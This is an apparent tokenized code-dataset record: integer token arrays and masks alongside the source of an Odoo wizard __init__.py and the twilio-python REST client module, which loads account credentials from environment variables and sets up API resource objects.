7522,
4621,
436,
2934,
3062,
370,
506,
199,
3,
31848,
1380,
642,
3589,
365,
31848,
14,
221,
7529,
1133,
19459,
370,
492,
3062,
465,
5521,
1,
199,
199,
692,
6701,
14,
4776,
26,
272,
492,
511,
199,
199,
2543,
275,
3589,
14,
2543,
199,
6472,
275,
1101,
14,
6472,
421,
199,
3,
6695,
26,
409,
20105,
29,
20,
25966,
29,
20,
26414,
1318,
2063,
29,
1965,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
makinacorpus/odoo
|
addons/product_extended/wizard/__init__.py
|
374
|
1078
|
# -*- encoding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). All Rights Reserved
# $Id$
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import wizard_price
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
3,
1882,
2644,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
198,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
8664,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
2900,
5924,
5702,
199,
3,
259,
2672,
1304,
4,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
259,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
259,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
12262,
63,
4777,
199,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2644,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
198,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
8664,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
2900,
5924,
5702,
199,
3,
259,
2672,
1304,
4,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
259,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
259,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
12262,
63,
4777,
199,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
clearcare/twilio-python
|
twilio/rest/__init__.py
|
3
|
5995
|
import logging
import os
import platform
from twilio import TwilioException
from twilio import __version__ as LIBRARY_VERSION
from twilio.rest.resources import make_request
from twilio.rest.resources import Accounts
from twilio.rest.resources import Applications
from twilio.rest.resources import AuthorizedConnectApps
from twilio.rest.resources import Calls
from twilio.rest.resources import CallerIds
from twilio.rest.resources import Queues
from twilio.rest.resources import Members
from twilio.rest.resources import ConnectApps
from twilio.rest.resources import Notifications
from twilio.rest.resources import Recordings
from twilio.rest.resources import Transcriptions
from twilio.rest.resources import Sms
from twilio.rest.resources import Participants
from twilio.rest.resources import PhoneNumbers
from twilio.rest.resources import Conferences
from twilio.rest.resources import Sandboxes
from twilio.rest.resources import Usage
from twilio.rest.resources import UNSET_TIMEOUT
def find_credentials():
"""
Look in the current environment for Twilio credentails
"""
try:
account = os.environ["TWILIO_ACCOUNT_SID"]
token = os.environ["TWILIO_AUTH_TOKEN"]
return account, token
except KeyError:
return None, None
class TwilioRestClient(object):
"""
A client for accessing the Twilio REST API
"""
def request(self, path, method=None, vars=None):
"""sends a request and gets a response from the Twilio REST API
.. deprecated:: 3.0
:param path: the URL (relative to the endpoint URL, after the /v1
:param url: the HTTP method to use, defaults to POST
:param vars: for POST or PUT, a dict of data to send
:returns: Twilio response in XML or raises an exception on error
This method is only included for backwards compatability reasons.
It will be removed in a future version
"""
logging.warning(":meth:`TwilioRestClient.request` is deprecated and "
"will be removed in a future version")
vars = vars or {}
params = None
data = None
if not path or len(path) < 1:
raise ValueError('Invalid path parameter')
if method and method not in ['GET', 'POST', 'DELETE', 'PUT']:
raise NotImplementedError(
'HTTP %s method not implemented' % method)
if path[0] == '/':
uri = self.base + path
else:
uri = self.base + '/' + path
if method == "GET":
params = vars
elif method == "POST" or method == "PUT":
data = vars
user_agent = "twilio-python %s (python-%s)" % (
LIBRARY_VERSION,
platform.python_version(),
)
headers = {
"User-Agent": user_agent,
"Accept-Charset": "utf-8",
}
resp = make_request(method, uri, auth=self.auth, data=data,
params=params, headers=headers)
return resp.content
def __init__(self, account=None, token=None, base="https://api.twilio.com",
version="2010-04-01", client=None, timeout=UNSET_TIMEOUT):
"""
Create a Twilio REST API client.
"""
# Get account credentials
if not account or not token:
account, token = find_credentials()
if not account or not token:
raise TwilioException("""
Twilio could not find your account credentials. Pass them into the
TwilioRestClient constructor like this:
client = TwilioRestClient(account='AC38135355602040856210245275870',
token='2flnf5tdp7so0lmfdu3d')
Or, add your credentials to your shell environment. From the terminal, run
echo "export TWILIO_ACCOUNT_SID=AC3813535560204085626521" >> ~/.bashrc
echo "export TWILIO_AUTH_TOKEN=2flnf5tdp7so0lmfdu3d7wod" >> ~/.bashrc
and be sure to replace the values for the Account SID and auth token with the
values from your Twilio Account at https://www.twilio.com/user/account.
""")
self.base = base
auth = (account, token)
version_uri = "%s/%s" % (base, version)
account_uri = "%s/%s/Accounts/%s" % (base, version, account)
self.accounts = Accounts(version_uri, auth, timeout)
self.applications = Applications(account_uri, auth, timeout)
self.authorized_connect_apps = AuthorizedConnectApps(
account_uri,
auth,
timeout
)
self.calls = Calls(account_uri, auth, timeout)
self.caller_ids = CallerIds(account_uri, auth, timeout)
self.connect_apps = ConnectApps(account_uri, auth, timeout)
self.notifications = Notifications(account_uri, auth, timeout)
self.recordings = Recordings(account_uri, auth, timeout)
self.transcriptions = Transcriptions(account_uri, auth, timeout)
self.sms = Sms(account_uri, auth, timeout)
self.phone_numbers = PhoneNumbers(account_uri, auth, timeout)
self.conferences = Conferences(account_uri, auth, timeout)
self.queues = Queues(account_uri, auth, timeout)
self.sandboxes = Sandboxes(account_uri, auth, timeout)
self.usage = Usage(account_uri, auth, timeout)
self.auth = auth
self.account_uri = account_uri
self.timeout = timeout
def participants(self, conference_sid):
"""
Return a :class:`Participants` instance for the :class:`Conference`
with the given conference_sid
"""
base_uri = "%s/Conferences/%s" % (self.account_uri, conference_sid)
return Participants(base_uri, self.auth, self.timeout)
def members(self, queue_sid):
"""
Return a :class:`Members` instance for the :class:`Queue`
with the given queue_sid
"""
base_uri = "%s/Queues/%s" % (self.account_uri, queue_sid)
return Members(base_uri, self.auth, self.timeout)
|
mit
|
[
646,
2050,
199,
646,
747,
199,
646,
4298,
199,
504,
8900,
23533,
492,
377,
87,
23533,
1726,
199,
504,
8900,
23533,
492,
636,
1023,
363,
465,
25764,
50,
4392,
63,
4612,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
1852,
63,
1069,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
4473,
6851,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
24636,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
6529,
1759,
8631,
2640,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
28055,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
8256,
1435,
11506,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
10703,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
14409,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
15175,
2640,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
23362,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
12651,
780,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
19894,
